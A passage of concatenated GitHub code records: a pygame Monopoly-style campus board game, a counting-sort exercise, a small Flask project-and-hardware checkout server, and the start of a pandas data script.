= os.path.join(g_map_block_dir_path, \"%d.png\" % (num))\n            self.img = pygame.transform.scale(\n                pygame.image.load(img_path),\n                (self.rect[2] - g_line_width * 2, self.rect[3] - g_line_width * 2)\n            )\n        else:\n            self.img = None\n\nclass Marker(Drawable):\n    def __init__(self, rect, c_or_i, is_visible, team, player, block_pos):\n        super(Marker, self).__init__(rect, c_or_i, is_visible)\n        self.team = team\n        self.player = player\n        self.block_pos = block_pos\n\n        self.prev_block_pos = None\n\n        if self.c_or_i == \"i\":\n            self.img = pygame.transform.scale(\n                pygame.image.load(os.path.join(g_marker_image_dir_path, \"%d%d.png\" % (team, player))),\n                (int(self.rect[2]),int(self.rect[3]))\n            )\n        else:\n            self.img = None\n\n    def reloadImage(self):\n        self.img = pygame.transform.scale(\n            pygame.image.load(os.path.join(g_marker_image_dir_path, \"%d%d.png\" % (self.team, self.player))),\n            (int(self.rect[2]),int(self.rect[3]))\n        )\n\n    def pressed(self, x, y):\n        if x > self.rect[0]:\n            if y > self.rect[1]:\n                if x < self.rect[0] + self.rect[2]:\n                    if y < self.rect[1] + self.rect[3]:\n                        logger.debug(\"Pressed: Marker %d %d\" % (self.team, self.player))\n                        return True\n                    else:\n                        return False\n                else:\n                   return False\n            else:\n               return False\n        else:\n            return False\n\nclass CurrentTurnArea(Drawable):\n    def __init__(self, rect, c_or_i, is_visible):\n        super(CurrentTurnArea, self).__init__(rect, c_or_i, is_visible)\n        self.font = pygame.font.SysFont('Verdana', 16, False)\n        self.font_pos = (0, 0)\n\nclass CompleteArea(Drawable):\n    def __init__(self, rect, c_or_i, is_visible):\n        super(CompleteArea, self).__init__(rect, c_or_i, is_visible)\n\nclass OlinLogo(Drawable):\n    def __init__(self, rect, c_or_i, is_visible):\n        super(OlinLogo, self).__init__(rect, c_or_i, is_visible)\n        self.img = pygame.transform.scale(\n            pygame.image.load(os.path.join(g_olin_logo_dir_path, \"olinopoly_logo.png\")),\n            (int(self.rect[2]),int(self.rect[3]))\n        )\n\nclass GameDescrip(Drawable):\n    def __init__(self, rect, c_or_i, is_visible):\n        super(GameDescrip, self).__init__(rect, c_or_i, is_visible)\n        self.txt_list = []\n        for i in range(g_map_num_blocks):\n            if i in g_chance_card_position:\n                path = os.path.join(g_map_block_game_txt_dir_path, \"%d.txt\" % (i))\n            else:\n                path = os.path.join(g_map_block_game_txt_dir_path, \"%d.txt\" % (i))\n            text = open(path, 'r')\n            txt = [str(txt).strip() for txt in text.readlines()]\n            text.close()\n            self.txt_list.append(txt)\n\nclass PlaceDescrip(Drawable):\n    def __init__(self, rect, c_or_i, is_visible):\n        super(PlaceDescrip, self).__init__(rect, c_or_i, is_visible)\n        self.txt_list = []\n        for i in range(g_map_num_blocks):\n            if i in g_chance_card_position:\n                path = os.path.join(g_map_block_olin_txt_dir_path, \"%d.txt\" % (i))\n            else:\n                path = os.path.join(g_map_block_olin_txt_dir_path, \"%d.txt\" % (i))\n            text = open(path, 'r')\n            txt = [str(txt).strip() for txt in text.readlines()]\n            text.close()\n            self.txt_list.append(txt)\n\nclass ProfileArea(Drawable):\n    def __init__(self, rect, c_or_i, is_visible, team):\n        super(ProfileArea, self).__init__(rect, c_or_i, is_visible)\n        self.team = team\n        self.reloadImage()\n\n    def reloadImage(self):\n        self.img = pygame.transform.scale(\n            pygame.image.load(os.path.join(g_profile_dir_path, \"%s.png\" % (g_default_name[self.team]))),\n            (int(self.rect[2]), int(self.rect[3]))\n        )\n\nclass StatusArea(Drawable):\n    def __init__(self, rect, c_or_i, is_visible, team):\n        super(StatusArea, self).__init__(rect, c_or_i, is_visible)\n        self.team = team\n        self.font_name = pygame.font.SysFont('Verdana', 16, False)\n        self.font_money = pygame.font.SysFont('Verdana', 16, False)\n        self.name_pos = (0, 0)\n        self.money_pos = (0, 0)\n\nclass PlayerData:\n    def __init__(self, name, money, team):\n        self.name = name\n        self.money = money\n        self.team = team\n\n        self.remaining_miss_turn = 0\n        self.is_one_more = False\n\n        # Map block switch\n        self.is_tips = False\n        self.is_sibb = False\n        self.is_career_fair = False\n\nclass DiceImage(Drawable):\n    def __init__(self, rect, c_or_i, is_visible, dice_num):\n        super(DiceImage, self).__init__(rect, c_or_i, is_visible)\n        #self.dice_num = dice_num\n        self.renderDiceImg(dice_num)\n        #self.realDiceImg()\n\n    def renderDiceImg(self, dice_num):\n        if dice_num == None:\n            self.img = pygame.transform.scale(\n                pygame.image.load(os.path.join(g_dice_dir_path, \"1.gif\")),\n                (int(self.rect[2]), int(self.rect[3])))\n        else:\n            path = os.path.join(g_dice_dir_path, \"%d.gif\" % (dice_num))\n            if os.path.exists(path):\n                self.img = pygame.transform.scale(\n                    pygame.image.load(path),\n                    (int(self.rect[2]), int(self.rect[3]))\n                )\n\nclass OwnsMapblock(Drawable):\n    def __init__(self, rect, c_or_i, is_visible, team, bought_map_block):\n        super(OwnsMapblock, self).__init__(rect, c_or_i, is_visible)\n        self.team = team\n        self.bought_map_block = bought_map_block\n        if self.bought_map_block.num <= g_map_num_blocks_in_line - 1:\n            self.rect = (\n                    self.bought_map_block.rect[0],\n                    self.bought_map_block.rect[1] - g_map_block_height * 0.25,\n                    g_map_block_width * 0.3,\n                    g_map_block_height * 0.25\n            )\n        elif g_map_num_blocks_in_line -1 < self.bought_map_block.num <= (g_map_num_blocks_in_line-1) * 2:\n            self.rect = (\n                self.bought_map_block.rect[0] + g_map_block_height,\n                self.bought_map_block.rect[1],\n                g_map_block_height * 0.25,\n                g_map_block_width * 0.3\n            )\n        elif (g_map_num_blocks_in_line-1) * 2 <self.bought_map_block.num <= (g_map_num_blocks_in_line - 1) * 3:\n            self.rect = (\n                self.bought_map_block.rect[0],\n                self.bought_map_block.rect[1] + g_map_block_height,\n                g_map_block_width * 0.3,\n                g_map_block_height * 0.25\n            )\n        elif (g_map_num_blocks_in_line - 1) * 3 < self.bought_map_block.num:\n            self.rect = (\n                self.bought_map_block.rect[0] - g_map_block_height * 0.25,\n                self.bought_map_block.rect[1],\n                g_map_block_height * 0.25,\n                g_map_block_width * 0.3\n            )\n\n\n\n############################################################################\n# View Classes\n############################################################################\n\nclass OlinopolyView:\n    def __init__(self, model, screen):\n        self.model = model\n        self.screen = screen\n\n        self.font_question = pygame.font.SysFont('Courier New', 27, True)\n        self.font_option = pygame.font.SysFont('Arial', 30, True)\n\n    def draw(self):\n\n        #fill in background color\n        self.screen.fill(pygame.Color(236, 245, 235))\n\n        # Map block\n        for map_block in self.model.map_blocks:\n            if map_block.c_or_i == 'c':\n                pygame.draw.rect(\n                    self.screen,\n                    pygame.Color(19, 110, 13),\n                    map_block.rect,\n                    1\n                )\n            elif map_block.c_or_i == 'i':\n                # image\n                self.screen.blit(\n                    map_block.img,\n                    (map_block.rect[0] + g_line_width, map_block.rect[1] + g_line_width)\n                )\n                # rectangle\n                pygame.draw.rect(\n                    self.screen,\n                    pygame.Color(19, 110, 13),\n                    map_block.rect,\n                    1\n                )\n\n        # Marker\n        for i in range(self.model.num_of_teams):\n            for marker in self.model.markers[i]:\n                if marker.is_visible:\n                    self.screen.blit(\n                        marker.img,\n                        (marker.rect[0], marker.rect[1])\n                    )\n                    pygame.draw.rect(\n                        self.screen,\n                        pygame.Color(19, 110, 13),\n                        marker.rect,\n                        1\n                    )\n\n        # Current turn informatoin area\n        pygame.draw.rect(\n            self.screen,\n            pygame.Color(19, 110, 13),\n            self.model.current_turn_area,\n            1\n        )\n        msg = g_current_turn_str % (\n            self.model.get_current_player_name()\n        )\n        current_turn = self.model.current_turn_area.font.render(\n            msg,\n            True,\n            (10, 10, 115)\n        )\n        self.screen.blit(\n            current_turn,\n            self.model.current_turn_area.font_pos\n        )\n\n        # Complete area\n        pygame.draw.rect(\n            self.screen,\n            pygame.Color(19, 110, 13),\n            self.model.complete_area.rect,\n            1\n        )\n\n        # Button\n        self.model.button_roll_dice.create_button(\n            self.screen,\n            (107,142,35),\n            g_button_roll_dice_rect[0],\n            g_button_roll_dice_rect[1],\n            g_button_roll_dice_rect[2],\n            g_button_roll_dice_rect[3],\n            20,\n            \"Roll Dice!\",\n            (255,255,255)\n        )\n\n        # Olinopoly Logo\n        self.screen.blit(\n            self.model.olin_logo.img,\n            (self.model.olin_logo.rect[0], self.model.olin_logo.rect[1])\n        )\n\n        # Mouseover Map Block Information\n        if self.model.enable_mouseover_map_block_info:\n            if self.model.mouseover_map_block >= 0:\n                l = len(self.model.map_block_info_game.txt_list[self.model.mouseover_map_block])\n                for i in range(l):\n                    msg_game = self.model.map_block_info_game.txt_list[self.model.mouseover_map_block][i]\n                    title_game = font_map_block_info.render(msg_game, True, (10, 10, 115))\n                    self.screen.blit(title_game, (g_game_des_rect[0] + 5, g_game_des_rect[1] + 5 + i*20))\n\n                l = len(self.model.map_block_info_place.txt_list[self.model.mouseover_map_block])\n                for i in range(l):\n                    msg_place = self.model.map_block_info_place.txt_list[self.model.mouseover_map_block][i]\n                    title_place = font_map_block_info.render(msg_place, True, (10, 10, 115))\n                    self.screen.blit(title_place, (g_place_des_rect[0] + 5, g_place_des_rect[1] + 5 + i*20))\n\n                # Game Description\n                pygame.draw.rect(\n                    self.screen,\n                    pygame.Color(19, 110, 13),\n                    self.model.game_descrip.rect,\n                    1\n                )\n\n                # Place Description\n                pygame.draw.rect(\n                    self.screen,\n                    pygame.Color(19, 110, 13),\n                    self.model.place_descrip.rect,\n                    1\n                )\n\n        # Profile\n        for i in range(self.model.num_of_teams):\n            self.screen.blit(\n                self.model.user_profiles[i].img,\n                (self.model.user_profiles[i].rect[0], self.model.user_profiles[i].rect[1])\n            )\n            pygame.draw.rect(\n                self.screen,\n                pygame.Color(19, 110, 13),\n                self.model.user_profiles[i].rect,\n                1\n            )\n            pygame.draw.rect(\n                self.screen,\n                pygame.Color(19, 110, 13),\n                self.model.user_status[i].rect,\n                1\n            )\n            name = self.model.user_status[i].font_name.render(\n                str(self.model.player_data[i].name),\n                True,\n                (10, 10, 115)\n            )\n            money = self.model.user_status[i].font_money.render(\n                str(self.model.player_data[i].money),\n                True,\n                (10, 10, 115)\n            )\n\n            self.screen.blit(\n                name,\n                self.model.user_status[i].name_pos\n            )\n            self.screen.blit(\n                money,\n                self.model.user_status[i].money_pos\n            )\n\n        # Chat box\n        pygame.draw.rect(\n            self.screen,\n            pygame.Color(19, 110, 13),\n            self.model.chat_box.rect,\n            self.model.chat_box.width\n        )\n        for i in range(len(self.model.chat_box.str_list)):\n            sentence = self.model.chat_box.font.render(\n                self.model.chat_box.str_list[i],\n                True,\n                (10, 10, 115)\n            )\n            self.screen.blit(sentence, (self.model.chat_box.rect[0] + 5, self.model.chat_box.rect[1] + 5 + i * 24))\n\n        # Text box\n        pygame.draw.rect(\n            self.screen,\n            pygame.Color(19, 110, 13),\n            self.model.text_box.rect,\n            self.model.text_box.width\n        )\n        rect = (\n            self.model.text_box.rect[0] + 5,\n            self.model.text_box.rect[1] + 5,\n            self.model.text_box.rect[2],\n            self.model.text_box.rect[3],\n        )\n        if self.model.text_box.label:\n            self.screen.blit(self.model.text_box.label, rect)\n\n        # Rolling Dice Image\n        self.screen.blit(\n            self.model.rolling_dice.img,\n            (self.model.rolling_dice.rect[0], self.model.rolling_dice.rect[1])\n        )\n\n        # Owned Mapblock\n        for i in range(len(self.model.owned_blocks)):\n            if self.model.owned_blocks[i].team == 0:\n                fill_color = pygame.Color(250, 246, 2)\n            elif self.model.owned_blocks[i].team == 1:\n                fill_color = pygame.Color(57, 154, 250)\n            elif self.model.owned_blocks[i].team == 2:\n                fill_color = pygame.Color(250, 153, 57)\n            elif self.model.owned_blocks[i].team == 3:\n                fill_color = pygame.Color(7, 224, 83)\n\n            pygame.draw.rect(\n                self.screen,\n                fill_color,\n                self.model.owned_blocks[i].rect,\n                0\n            )\n\n\n        if not self.model.popup_state:\n            pygame.display.flip()\n\n    def drawPopup(self):\n        popup_surface = pygame.Surface((int(g_popup_screen_rect[2]), int(g_popup_screen_rect[3])))\n        popup_surface.fill(pygame.Color(149, 186, 245))\n\n        #question = \"Q: %s, what will you do?\" % (self.model.get_current_player_name())\n\n        # maximum number of option: 4\n        assert len(self.model.popup_options) <= g_max_popup_option_number\n\n        top = g_popup_screen_rect[3] * 0.1\n        left = g_popup_screen_rect[2] * 0.1\n\n        # Display question\n        for i in range(len(self.model.popup_questions)):\n            text_surface = self.font_question.render(self.model.popup_questions[i], 1, (0, 50, 100))\n            text_rect = text_surface.get_rect()\n            text_rect.top = top\n            text_rect.left = left\n            popup_surface.blit(text_surface, text_rect)\n\n            top += g_popup_screen_rect[3] * 0.1\n\n        top += g_popup_screen_rect[3] * 0.15\n        left = g_popup_screen_rect[2] * 0.15\n\n        # Display options\n        for i in range(len(self.model.popup_options)):\n            text_surface = self.font_option.render(self.model.popup_options[i], 1, (0, 50, 100))\n            text_rect = text_surface.get_rect()\n            text_rect.top = top\n            text_rect.left = left\n\n            \"\"\"pygame.draw.rect(\n                self.screen,\n                pygame.Color(19, 110, 13),\n                (g_popup_screen_rect[0] + left,\n                 g_popup_screen_rect[1] + top,\n                 g_popup_screen_rect[2] * 0.7,\n                 pygame.font.Font.get_linesize(self.font_option) * 1.5\n                 ),\n                2\n            )\"\"\"\n            rect = (left,\n                    top,\n                    g_popup_screen_rect[2] * 0.7,\n                    pygame.font.Font.get_linesize(self.font_option) * 1.5\n            )\n            self.model.popup_option_area[i] = rect\n            pygame.draw.rect(\n                popup_surface,\n                pygame.Color(19, 110, 13),\n                rect,\n                2\n            )\n\n            top += pygame.font.Font.get_linesize(self.font_option) + g_popup_screen_rect[3] * 0.05\n\n            popup_surface.blit(text_surface, text_rect)\n\n        popup_rect = popup_surface.get_rect()\n        popup_rect.centerx = g_popup_screen_rect[0] + g_popup_screen_rect[2] / 2\n        popup_rect.centery = g_popup_screen_rect[1] + g_popup_screen_rect[3] / 2\n        self.screen.blit(popup_surface, popup_rect)\n\n        #pygame.display.update()\n        pygame.display.flip()\n\n\n############################################################################\n# Controller Classes\n############################################################################\n\nclass OlinopolyMouseController:\n    \"\"\" \"\"\"\n    def __init__(self, model):\n        self.model = model\n\n    def handleMouseEvent(self, event):\n        if event.type == MOUSEMOTION:\n            pass\n\nclass OlinopolyMouseOverController:\n    \"\"\" \"\"\"\n    def __init__(self, model):\n        self.model = model\n\n    def onMapBlock(self, num):\n        self.model.mouseover_map_block = num\n\n    def check(self):\n        self.model.mouseover_map_block = -1\n\n        x, y = pygame.mouse.get_pos()\n        if g_map_block_width < x < g_screen_board_width - g_map_block_width:\n            #logger.debug(\"middle\")\n            if 0 <= y <= g_map_block_height:\n                self.onMapBlock(g_map_num_blocks_in_line * 2 - 2 + x / g_map_block_width)\n            elif g_screen_board_height - g_map_block_height <= y:\n                self.onMapBlock(g_map_num_blocks_in_line - 1 - x / g_map_block_width)\n            else:\n                pass\n            pass\n        elif x <= g_map_block_width:\n            #logger.debug(\"left\")\n            self.onMapBlock(g_map_num_blocks_in_line - 2 + (g_map_num_blocks_in_line - y / g_map_block_height))\n        elif g_screen_board_width - g_map_block_width <= x <= g_screen_board_width:\n            #logger.debug(\"right\")\n            num = g_map_num_blocks_in_line * 3 - 3 + (y / g_map_block_height)\n            if num == g_map_num_blocks_in_line * 4 - 4:\n                num = 0\n            self.onMapBlock(num)\n        else:\n            pass\n\nclass OlinopolyDiceController:\n    \"\"\" \"\"\"\n    def __init__(self, model):\n        self.model = model\n\n    def rollDice(self):\n        if g_debug_dice:\n            n = int(raw_input(\"[DEBUG MODE] input dice num: \"))\n            self.model.dice_number = n\n        else:\n            self.model.dice_number = random.randint(1, 6)\n        logger.debug(\"set dice num: %d\" % (self.model.dice_number))\n\nclass DiceAnimationController:\n    def __init__(self, model):\n        self.model = model\n\n    def randomDice(self):\n        if self.randomdice_count == 0: # 0 : start animation\n            current_random_dice_num = random.randint(1,6)\n            self.model.rolling_dice.renderDiceImg(current_random_dice_num)\n\n            self.random_state += 1\n            if self.random_state == 10:\n                self.randomdice_count = 1\n\n        elif self.randomdice_count == 1: # 1 : stop animation and show real dice num\n            current_random_dice_num = self.model.dice_number\n            self.model.rolling_dice.renderDiceImg(current_random_dice_num)\n\nclass MapBlockFeatureController:\n    def __init__(self, model):\n        self.model = model\n\n    def buyMapBlock(self):\n        self.model.current_land_block.team = self.model.popup_team\n        self.model.possess_team = self.model.popup_team\n        self.model.bought_block = self.model.current_land_block\n        self.model.updateOwnedMapblocks()\n        self.model.player_data[self.model.popup_team].money -= g_mapblock_price[self.model.current_land_block.num]\n\n    def drawChanceCard(self):\n        self.model.popup_state = True\n        self.model.popup_options = [\"Close\"]\n\n        chance_card_num = random.randint(0, 1)\n        if chance_card_num == 0:\n            self.model.popup_questions = [\n                \"Better luck next time\"\n            ]\n        elif chance_card_num == 1:\n            self.model.popup_questions = [\n                \"I'm sorry.\",\n                \"You miss a turn.\"\n            ]\n            self.model.player_data[self.model.popup_player].remaining_miss_turn = 1\n\n        self.model.was_chance = True\n\n############################################################################\n# Main\n############################################################################\n\nif __name__ == \"__main__\":\n    pygame.init()\n\n    # Initialize screen\n    size = (g_screen_width, g_screen_height)\n    screen = pygame.display.set_mode(size)\n\n    font_map_block_info = pygame.font.SysFont('Tahoma', 14, False)\n    font_temporary_dice = font_map_block_info\n\n    # MVC objects\n    model = OlinopolyModel()\n    view = OlinopolyView(model, screen)\n    controller_mouse = OlinopolyMouseController(model)\n    controller_mouse_over = OlinopolyMouseOverController(model)\n    controller_dice = OlinopolyDiceController(model)\n    controller_dice_animation = DiceAnimationController(model)\n    controller_mapblock_possess = MapBlockFeatureController(model)\n\n    # initialize\n    controller_dice_animation.randomdice_count = 1\n\n    # Timer for events\n    # 1 - Mouse over\n    # 2 - Blinking SoftDsg\n    # 3 - Random Dice Image\n    pygame.time.set_timer(USEREVENT + 1, 500)\n    pygame.time.set_timer(USEREVENT + 2, 300)\n    pygame.time.set_timer(USEREVENT + 3, 250)\n\n    running = True\n    ####################\n    # While start\n    while running:\n\n        # Check missing turn\n        if model.player_data[model.current_team_number].remaining_miss_turn > 0:\n            model.player_data[model.current_team_number].remaining_miss_turn -= 1\n            model.add_system_msg(\"%s is missing a turn.\" % (model.get_current_player_name()))\n            model.changeToNextTeam()\n\n        if not model.winner:\n            for event in pygame.event.get():\n                if event.type == QUIT:\n                    running = False\n                    break\n\n                if model.popup_state:\n                    if event.type == MOUSEBUTTONUP:\n                        x, y = pygame.mouse.get_pos()\n                        logger.debug(\"Click when popup - x: %d / y: %d\" % (x, y))\n\n                        option_clicked = False\n                        for i in range(len(model.popup_options)):\n                            left = g_popup_screen_rect[0] +  model.popup_option_area[i][0]\n                            right = g_popup_screen_rect[0] + model.popup_option_area[i][0] + model.popup_option_area[i][2]\n                            top = g_popup_screen_rect[1] + model.popup_option_area[i][1]\n                            bottom = g_popup_screen_rect[1] + model.popup_option_area[i][1] + model.popup_option_area[i][3]\n                            if left < x < right:\n                                if top < y < bottom:\n                                    logger.debug(\"Clicked popup option: %d\" % (i))\n                                    model.popup_state = False\n                                    option_clicked = True\n                                    break\n                        if option_clicked:\n                            # Check clicked option from popup and do something\n                            logger.debug(\"popup block info- num:%d, type:%d\" % (model.current_land_block.num, model.current_land_block.type))\n\n                            if (model.current_land_block.type == MAPBLOCK_TYPE_LOCATION) or (model.current_land_block.type == MAPBLOCK_TYPE_COURSE):\n                                if i == 0:\n                                    controller_mapblock_possess.buyMapBlock()\n                                    model.add_system_msg(\"%s bought '%s'\" % (\n                                        model.get_player_name(model.popup_team),\n                                        g_mapblock_name[model.current_land_block.num])\n                                    )\n                            elif model.current_land_block.type == MAPBLOCK_TYPE_EVENT:\n                                if model.current_land_block.num == 15:  # Study Abroad - Exchange student\n                                    if i == 0: # Belguim\n                                        study_abroad_num = random.randint(1, 3)\n                                    elif i == 1: # Korea\n                                        study_abroad_num = random.randint(3, 6)\n                                    elif i == 2: # France\n                                        study_abroad_num = random.randint(2, 4)\n                                    elif i == 3: # Singapore\n                                        study_abroad_num = random.randint(1, 5)\n                                    logger.debug(\"Study abroad num: %d\" % (study_abroad_num))\n                                    t = model.popup_team\n                                    p = model.popup_player\n                                    target = model.markers[t][p].block_pos + study_abroad_num\n                                    logger.debug(\"Move marker %d, %d to %d\" % (t, p, target))\n                                    model.moveMarker(t, p, target, True)\n\n                            elif model.current_land_block.type == MAPBLOCK_TYPE_CHANCE:\n                                if i == 0:\n                                    if model.was_chance:\n                                        model.popup_state = False\n                                        model.was_chance = False\n                                    else:\n                                        controller_mapblock_possess.drawChanceCard()\n\n                else:\n                    if event.type == USEREVENT + 1:\n                        controller_mouse_over.check()\n\n                    if event.type == USEREVENT + 2:\n                        model.blinkSoftDsg()\n\n                    if event.type == USEREVENT + 3:\n                        controller_dice_animation.randomDice()\n\n                    # Keyboard input --> Text box\n                    if event.type == pygame.KEYDOWN:\n                        r = model.text_box.add_char(event)\n                        if r:\n                            logger.debug(\"char_add result: %s\", r)\n                            model.chat_box.add_sentence(\"[%s] %s\" % (model.get_current_player_name(), r))\n                            model.text_box.str_list = []\n                        model.text_box.update()\n\n                    if event.type == MOUSEMOTION:\n                        controller_mouse.handleMouseEvent(event)\n\n                    if event.type == MOUSEBUTTONUP:\n                        x, y = pygame.mouse.get_pos()\n                        if model.current_state == 1 and model.button_roll_dice.pressed((x, y)):\n                            controller_dice.rollDice()\n                            controller_dice_animation.randomdice_count = 0\n                            controller_dice_animation.random_state = 0\n                            logger.debug(\"role_dice_only: %s\" % (model.role_dice_only))\n                            if model.role_dice_only:\n                                logger.debug(\"popup block info- num:%d, type:%d\" % (model.current_land_block.num, model.current_land_block.type))\n                                model.role_dice_only = False\n                                if model.current_land_block.type == MAPBLOCK_TYPE_EVENT:\n                                    if model.current_land_block.num == 9:\n                                        logger.debug(\"it was roomdraw.\")\n                                        plus = model.dice_number * 5000\n                                        model.player_data[model.current_team_number].money += plus\n                                        model.add_system_msg(\"%s earned money, %d.\" %(model.get_current_player_name(), plus))\n                                        model.changeToNextTeam()\n                            else:\n                                model.setState(2)\n                                logger.debug(\"Set state 2\")\n                        elif model.current_state == 2 and controller_dice_animation.randomdice_count == 1:\n                            result = False\n                            for player in model.markers[model.my_team_number]:\n                                if player.pressed(x, y) and player.block_pos != -1:\n                                    team = player.team\n                                    player = player.player\n                                    logger.debug(\"Dice Num: %d\" % (model.dice_number))\n                                    if model.markers[team][player].block_pos == None:\n                                        target_pos = model.dice_number\n                                    else:\n                                        target_pos = model.markers[team][player].block_pos + model.dice_number\n\n                                    result = model.moveMarker(\n                                        team, player, target_pos, True\n                                    )\n\n                                    if model.current_land_block:    # if land block is map block (it it sen in moveMarker())\n                                        logger.debug(\"current_land_block- num:%s team:%s\" % (\n                                            str(model.current_land_block.num), str(model.current_land_block.team)\n                                        ))\n                                        # Enable map block switch\n                                        n = model.current_land_block\n                                        if n in g_tips_position:\n                                            model.player_data[team].is_tips = True\n                                            logger.debug(\"is_tips is ON\")\n                                        if n in g_sibb_position:\n                                            model.player_data[team].is_sibb = True\n                                            logger.debug(\"is_sibb is ON\")\n                                        if n in g_career_fair_position:\n                                            model.player_data[team].is_career_fair = True\n                                            logger.debug(\"is_career_fair is ON\")\n                                        model.mapblockPopup(\n                                            model.current_land_block,\n                                            model.current_land_block.type,\n                                            model.current_land_block.team,\n                                            model.current_land_block.num,\n                                            player\n                                        )\n                                        if n in g_study_abroad_position:\n                                            model.moveMarker(team, player, model.current_land_block.num)\n\n                                    break\n                            if result:\n                                model.setState(1)\n                                if model.player_data[model.current_team_number].is_one_more:\n                                    model.player_data[model.current_team_number].is_one_more = False\n                                else:\n                                    # Change to next team\n                                    model.changeToNextTeam()\n\n        view.draw()\n        if model.popup_state:\n            view.drawPopup()\n\n        time.sleep(.001)\n    # While end\n    ####################\n    pygame.quit()\n","repo_name":"SeongHyeok/PICNIC","sub_path":"Olinopoly/olinopoly.py","file_name":"olinopoly.py","file_ext":"py","file_size_in_byte":67920,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"14239991613","text":"from os import *\nfrom sys import *\nfrom collections import *\nfrom math import *\n\nfrom typing import List\n\n\ndef sort(n: int, arr: List[int]) -> List[int]:\n    # writw your code here\n    \n    max_el = max(arr)\n    min_el = min(arr)\n\n    r = (max_el - min_el) + 1\n\n    store = [0]*r\n\n    for a in arr:\n        store[a - min_el] += 1\n\n    ans = []\n    for i in range(r):\n        cnt = store[i]\n\n        for j in range(cnt):\n            ans.append(i + min_el)\n\n    return ans\n","repo_name":"anirudhkaushal/coding_practice","sub_path":"mixedQues-basic-dsa/q4_countingSort.py","file_name":"q4_countingSort.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"39888988113","text":"import logging\r\nimport sys\r\nimport databaseAPI as db\r\nfrom flask import Flask, session, redirect, url_for, request, render_template\r\nfrom flask_session import Session\r\n\r\napp = Flask(__name__)\r\napp.config[\"SESSION_PERMANENT\"] = False\r\napp.config[\"SESSION_TYPE\"] = \"filesystem\"\r\napp.secret_key = \"asdlkjfh2345io87ewarkjfh\"\r\n\r\ndef clearSession():\r\n    session[\"username\"] = None\r\n    session[\"projectid\"] = None\r\n    session[\"projectname\"] = None\r\n    session[\"projectdesc\"] = None\r\n\r\n@app.route(\"/\")\r\ndef hello():\r\n    clearSession()\r\n    return render_template('home.html')\r\n\r\n@app.route(\"/signup\", methods=[\"GET\",\"POST\"])\r\ndef signUp():\r\n    creds = request.form\r\n    if db.addNewUser(creds[\"username\"], creds[\"password\"]):\r\n        session[\"username\"] = creds[\"username\"]\r\n        return redirect(\"/profile\")\r\n    return redirect(\"/\")\r\n\r\n@app.route(\"/signin\", methods=[\"GET\",\"POST\"])\r\ndef signIn():\r\n    creds = request.form\r\n    if db.authenticateUser(creds[\"username\"], creds[\"password\"]):\r\n        session[\"username\"] = creds[\"username\"]\r\n        return redirect(\"/profile\")\r\n    return redirect(\"/\")\r\n\r\n@app.route(\"/profile\", methods=[\"GET\",\"POST\"])\r\ndef profile():\r\n    return render_template(\"profile.html\", result=session[\"username\"])\r\n\r\n@app.route(\"/createproject\", methods=[\"GET\",\"POST\"])\r\ndef createProject():\r\n    info = request.form\r\n    if db.addNewProject(session[\"username\"], info[\"projectid\"], \r\n                        info[\"projectname\"], info[\"projectdesc\"]):\r\n        session[\"projectid\"] = info[\"projectid\"]\r\n        session[\"projectname\"] = info[\"projectname\"]\r\n        session[\"projectdesc\"] = info[\"projectdesc\"]\r\n        return redirect(\"/project/\" + info[\"projectname\"])\r\n    return redirect(\"/profile\")\r\n\r\n@app.route(\"/openproject\", methods=[\"GET\",\"POST\"])\r\ndef openProject():\r\n    info = request.form\r\n    prID = info[\"projectid\"]\r\n    if db.authenticateProject(session[\"username\"], prID):\r\n        prInfo = db.getProjectInfo(prID)\r\n        session[\"projectid\"] = prID\r\n        session[\"projectname\"] = prInfo[0]\r\n        session[\"projectdesc\"] = prInfo[2]\r\n        return redirect(\"/project/\" + session[\"projectname\"])\r\n    return redirect(\"/profile\")\r\n\r\n@app.route(\"/project/<name>\", methods=[\"GET\",\"POST\"])\r\ndef project(name):\r\n    value = {\"projectid\":session[\"projectid\"], \r\n             \"projectname\":session[\"projectname\"], \r\n             \"projectdesc\":session[\"projectdesc\"],\r\n             \"HW1Amount\":db.getHardware(\"HW1\")[0],\r\n             \"HW1Capacity\":db.getHardware(\"HW1\")[1],\r\n             \"HW2Amount\":db.getHardware(\"HW2\")[0],\r\n             \"HW2Capacity\":db.getHardware(\"HW2\")[1]}\r\n    return render_template(\"projectmanager.html\", value=value)\r\n\r\n@app.route(\"/checkout/<num>\", methods=[\"GET\",\"POST\"])\r\ndef checkout(num):\r\n    amount = request.form[\"request\"]\r\n    db.checkoutHardware(\"HW\" + num, int(amount), session[\"projectid\"])\r\n    return redirect(\"/project/\" + session[\"projectname\"])\r\n\r\nif __name__ == \"__main__\":\r\n    app.run()","repo_name":"AnshulKumar13/EE461LProject","sub_path":"ProjectV2/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"39808239776","text":"# -*- coding: utf-8 -*-\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom datetime import datetime\r\nfrom error_method import rmse\r\n\r\n\r\nif __name__ == '__main__':\r\n    path1 = 'data/train1.csv'\r\n    path2 = 'data/train2.csv'\r\n    date_start1 = 20161010\r\n    date_start2 = 20171010 \r\n    year1 = 2016\r\n    year2 = 2017\r\n    \r\n    def is_weekend(x):\r\n        x = datetime.strptime(str(x), '%Y%m%d')\r\n        if x.weekday() + 1 in (6, 7):\r\n            return True\r\n        else:\r\n            return False\r\n            \r\n    def mean_list(data, place, year, date_start, weekday_res):\r\n        data1 = data[data[0]==place].reindex(columns=[1, 2])\r\n        n_data1 = data1.shape[0]\r\n        data1_1 = np.zeros([n_data1, 4], dtype=object)\r\n        data1_1[:, 0:2] = data1\r\n        for i in range(n_data1):\r\n            data1_1[i, 2] = int(str(year) + data1_1[i, 0][:2] + data1_1[i, 0][2: 4])\r\n            data1_1[i, 3] = int(data1_1[i, 0][4: 6])\r\n        data1_2 = pd.DataFrame(data1_1[:, 1: 4], dtype='int').reindex(columns=[2, 1, 0])\r\n        date1_list = data1_2[1].unique().astype('int')\r\n        n_date1 = date1_list.shape[0]\r\n        ss = list(date1_list)\r\n        ss.insert(0, 'key')\r\n        data1_3 = np.array(data1_2)\r\n        data1_4 = pd.DataFrame(np.zeros((24, n_date1), dtype='int'), columns=date1_list, index=range(24))\r\n        data1_4 = data1_4 - 1\r\n        for i in 